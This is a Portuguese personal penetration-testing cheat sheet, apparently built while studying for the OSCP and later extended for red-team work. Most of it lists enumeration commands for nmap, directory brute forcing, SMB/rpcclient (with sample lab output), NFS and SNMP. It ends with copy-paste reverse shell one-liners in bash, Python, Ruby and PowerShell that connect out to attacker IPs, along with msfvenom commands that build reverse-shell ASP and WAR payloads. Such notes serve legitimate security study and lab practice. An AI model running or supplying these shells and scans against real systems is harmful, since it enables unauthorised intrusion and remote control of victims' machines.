
Há muitos cheat sheets por aí, mas este é o meu.
Existem muitas folhas de dicas por aí, mas esta é a minha. É um trabalho em andamento no momento e existe como um rascunho que é atualizado muito, às vezes. Comecei isto enquanto estudava para o OSCP, mas agora está evoluindo para incluir coisas mais práticas que preciso como red teamer. As novas adições muito provavelmente não servirão para o exame e podem até incluir ferramentas que são proibidas.
Muito incompleto...
find / -name flag.txt para encontrar arquivos pelo nome.
grep -R "flag40" / -s -n procura por string em arquivos, pesquisando recursivamente a partir do diretório raiz, sem saída de erros.
dir /s flag.txt para encontrar arquivos chamados flag.txt no diretório atual e subdiretórios.
Uma ferramenta útil -> wadcoms.github.io
nmap -sn 10.11.1.0/24 varredura de rede para encontrar hosts.
nmap -sn 10.11.1.0/24 -oG - | awk '/Up$/{print $2}' > list_ips.txt varre a rede em busca de IPs que estão ativos e salva os endereços IP em uma lista.nmap -A 10.10.10.10 para uma varredura rápida das portas TCP comuns com detecção de SO e serviços.
nmap -A 10.10.10.10 -p- para varrer todas as portas TCP com detecção de SO e serviços.
nmap -A -sU 10.10.10.10 para varrer todas as portas UDP com detecção de SO e serviços.
sudo nmap -O -A -sV 10.10.10.10 para varrer todas as portas TCP comuns, identificar o SO, executar scripts e capturar banners.
proxychains nmap -Pn -sT 10.10.10.10 -v porque varreduras ICMP/UDP não funcionam.
A flag -w especifica o timeout em segundos e a flag -z envia zero dados (para varredura).
nc -nvv -w 1 -z 10.11.1.220 3388-3390 varredura TCP das portas 3388-3390.
nc -nv -u -z -w 1 10.11.1.115 160-162 varredura UDP das portas 160-162.
gobuster dir -u http://10.1.1.27 -w /usr/share/wordlists/dirb/big.txt.Também gosto do dirsearch.
Wordlists úteis no Kali
kali@kali:~/Tools/dirsearch$ ls /usr/share/wordlists
dirb dirbuster fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt rockyou.txt.gz wfuzz
kali@kali:~/Tools/dirsearch$ ls /usr/share/seclists
Discovery Fuzzing IOCs Miscellaneous Passwords Pattern-Matching Payloads README.md Usernames Web-Shells
kali@kali:~/Tools/dirsearch$
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirb/big.txt -r enumeração de diretórios com o big.txt do dirb, copie/cole e basta ajustar IP/URL e extensões.
python3 dirsearch.py -u http://10.11.1.44 -t 100 -e php,gzip,tar,txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -r enumeração de diretórios com a directory list do dirbuster, copie/cole e apenas ajuste IP/URL e extensões.
python3 dirsearch.py -u http://10.11.1.71 -t 100 -e cgi -w /usr/share/seclists/Discovery/Web-Content/CGIs.txt -r, força bruta de CGIs.
Um módulo rsync é essencialmente um compartilhamento de diretório. Esses módulos podem opcionalmente ser protegidos por senha. Esta opção lista os módulos disponíveis e, opcionalmente, determina se o módulo requer senha para acesso**:**:
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
smbclient -L 10.11.1.146 Para listar compartilhamentos disponíveis
smbclient //10.11.1.146/IPC$ para entrar nesse compartilhamento. Se não funcionar, tente com sudo... sudo smbclient //10.11.1.146/IPC$
enum4linux 10.11.1.146 -a -o para usar o enum4linux e automatizar a enumeração de compartilhamentos SMB.
Se você conseguir conectar com logon Null -> rpcclient -U '' -N forest.htb.
rpcclient $> querydomaininfo
command not found: querydomaininfo
rpcclient $> querydominfo
Domain: HTB
Server:
Comment:
Total Users: 105
Total Groups: 0
Total Aliases: 0
Sequence No: 1
Force Logoff: -1
Domain Server State: 0x1
Server Role: ROLE_DOMAIN_PDC
Unknown 3: 0x1
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[SM_ca8c2ed5bdab4dc9b] rid:[0x465]
user:[SM_75a538d3025e4db9a] rid:[0x466]
user:[SM_681f53d4942840e18] rid:[0x467]
user:[SM_1b41c9286325456bb] rid:[0x468]
user:[SM_9b69f1b9d2cc45549] rid:[0x469]
user:[SM_7c96b981967141ebb] rid:[0x46a]
user:[SM_c75ee099d0a64c91b] rid:[0x46b]
user:[SM_1ffab36a2f5f479cb] rid:[0x46c]
user:[HealthMailboxc3d7722] rid:[0x46e]
user:[HealthMailboxfc9daad] rid:[0x46f]
user:[HealthMailboxc0a90c9] rid:[0x470]
user:[HealthMailbox670628e] rid:[0x471]
user:[HealthMailbox968e74d] rid:[0x472]
user:[HealthMailbox6ded678] rid:[0x473]
user:[HealthMailbox83d6781] rid:[0x474]
user:[HealthMailboxfd87238] rid:[0x475]
user:[HealthMailboxb01ac64] rid:[0x476]
user:[HealthMailbox7108a4e] rid:[0x477]
user:[HealthMailbox0659cc1] rid:[0x478]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
rpcclient $>
showmount -e 10.10.10.10 para ver os pontos de montagem disponíveis
mount -t nfs 10.10.10.10:/ /tmp -o nolock para montar a raiz, ou qualquer outra pasta.
onesixtyone -c community -i ips varre a rede alvo para identificar servidores SNMP, onde community e ips são listas; community = (public, private, manager).
snmp-check 10.11.1.227 faz tudo abaixo, mas melhor e formata tudo para você de forma organizada :)
snmpwalk -c public -v1 -t 10 10.11.1.115 enumera toda a árvore MIB.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.4.1.77.1.2.25 enumera usuários do Windows.
snmpwalk -c public -v1 10.11.1.73 1.3.6.1.2.1.25.4.2.1.2 enumera processos em execução no Windows.
snmpwalk -c public -v1 10.11.1.14 1.3.6.1.2.1.6.13.1.3 enumera portas TCP abertas.
snmpwalk -c public -v1 10.11.1.50 1.3.6.1.2.1.25.6.3.1.2 enumera softwares instalados.
/bin/bash -i >& /dev/tcp/192.168.119.137/1337 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
ruby -rsocket -e'f=TCPSocket.open("10.10.14.3",8081).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.119.137',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
nc -lvp 4444 ouvir (capturar) o reverse shell com Netcat na porta 4444
python -c 'import pty; pty.spawn("/bin/bash")' ou python3 -c 'import pty; pty.spawn("/bin/bash")'
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.119.137 LPORT=4444 -f war > shell.war